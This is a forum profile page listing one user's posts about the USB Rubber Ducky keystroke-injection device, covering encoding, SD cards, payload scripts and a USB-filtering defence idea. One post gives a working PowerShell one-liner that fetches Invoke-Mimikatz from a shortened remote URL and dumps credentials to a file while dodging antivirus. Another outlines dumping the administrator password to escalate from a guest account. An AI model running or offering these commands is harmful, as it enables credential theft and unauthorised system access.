Jump to content

MB60893

Active Members
  • Posts

    205
  • Joined

  • Last visited

  • Days Won

    3

Posts posted by MB60893

  1. OK. Firstly for you to be able to run the encoder on an Android device, you would need to modify the code to comply with the Android Architecture. By default android is actually Java-based, so you can develop the encoder in a similar way, only you would need to modify the application to work with Android.

    As for multiple platforms, well, I think Java is closest to C in the respect that it is supported by so many operating systems. I know what you mean, though. Java is tragically slow in comparison, as it is partially interpreted as well as compiled. If it was compiled, it would be much quicker (while the notice to us mere mortals would be very small) and I believe a C compiled version would be much better as well. I don't do C code specifically, but I know it would be much better.

    Good Luck.

  2. I think it would be better if I did some more research into the SoC (Atmel chip) before I think about poking the duck with wires and solder. I'd rather not kill it, at least not yet anyway. D)

    Most certainly. I would learn all about the ducky, and then I would try and modify it from there.

  3. I seriously think that the reason people's ducky's don't work is because the SD Cards need to be formatted. My ducky didn't work the first time, but what I did was simply format the SD Card, try using the Duck Toolkit made by 411, and also use different SD cards in the first place. Make sure the driver for the ducky installs on your computer first. Then try the ducky.

  4. You can simply use the USB OTG adapter. Using something like DroidEdit, you can create a script, then save it as a .txt file. I don't know if you can upload files or not, but you could possibly find a file manager, and copy the script into 411's Duck Toolkit. You can then download the .bin file, transfer that to the SD Card, and use the USB Rubber Ducky as per normal.

  5. Firstly, when you refer to "Bypass" UAC, what you are really saying is don't bring up the dialog box saying "Do you want to run xyz program as Administrator?". What I think would be better is to get administrator rights from a guest users' perspective, just about guaranteeing that any program would work if you needed to execute it.

    If I knew someone who was an administrator, I would simply write a ducky script using the CTRL-SHIFT-ENTER command to elevate Powershell, then use the "Invoke-Mimikatz" command with "-DumpCreds". This would output the administrator password for the computer (providing it is not a Windows 8/8.1 machine).

    I know there is a way you can execute a task as another user... so if you knew the administrator password for a computer, you could simply rock up as a guest, and run the task as an admin user. Thoughts?

  6. I see one serious problem with these scripts, and that is you are effectively downloading Mimikatz to the target machine and executing it. Mimikatz is easily set off by an AV, such as Microsoft Security Essentials. I find that the best way of using Mimikatz is using this powershell script:

    powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" >> %USERPROFILE%\creds.txt
     
    This script checks for the correct architecture of the PC's system, then downloads the correct .dll file needed for the execution of Mimikatz. Much cleaner than having to download and store the Mimikatz .exe file.
  7. You can just do something called a "Duck Slurp". Search it on the Hak5 Forums and you will find out about the copying of files ONTO a USB. Just simply reverse the code and you can transfer files TO the PC. I personally love the WGET and Execute script. Search through one of my previous posts. I detail a lot about that script.

    Cheers,

    MB60893.

  8. DELAY 3000
    GUI d
    DELAY 500
    PRINTSCREEN
    DELAY 100
    MENU
    DELAY 300
    STRING V
    DELAY 40
    STRING D
    DELAY 300
    GUI r
    DELAY 700
    STRING mspaint
    ENTER
    DELAY 1200
    CTRL v
    DELAY 500
    CTRL s
    DELAY 1000
    STRING %userprofile%\a.bmp
    ENTER
    DELAY 500
    ALT f
    DELAY 400
    STRING K
    DELAY 100
    STRING F
    DELAY 1000
    ALT F4
    DELAY 300
    GUI d
    

    This was on the USB Rubber Ducky GitHub Page. Downloading a picture just requires a WGet and Execute. I'll write one when I have more time.

  9. The best way I can think of to defend against a ducky attack would be to have a piece of software constantly monitoring what devices are plugged into the computer. The idea is that you effectively create a filtering program that detects the devices and checks for a unique address. Kind of like MAC Address filtering on wireless routers etc.

    As well as this, you could possibly deny any devices plugged into a USB port before they can be mounted onto the computer as a hard disk, keyboard etc.

    I know that ages ago there was a leak of Microsoft COFEE and that some developers created an application called DECAF, which looked for traces on USB's, CD's etc. for the trace signatures of COFEE. My idea is that you could create something like this which speculates against all USB devices, and unless you enter in the correct password, you can't use a USB device. Let me know what you think.

×
×
  • Create New...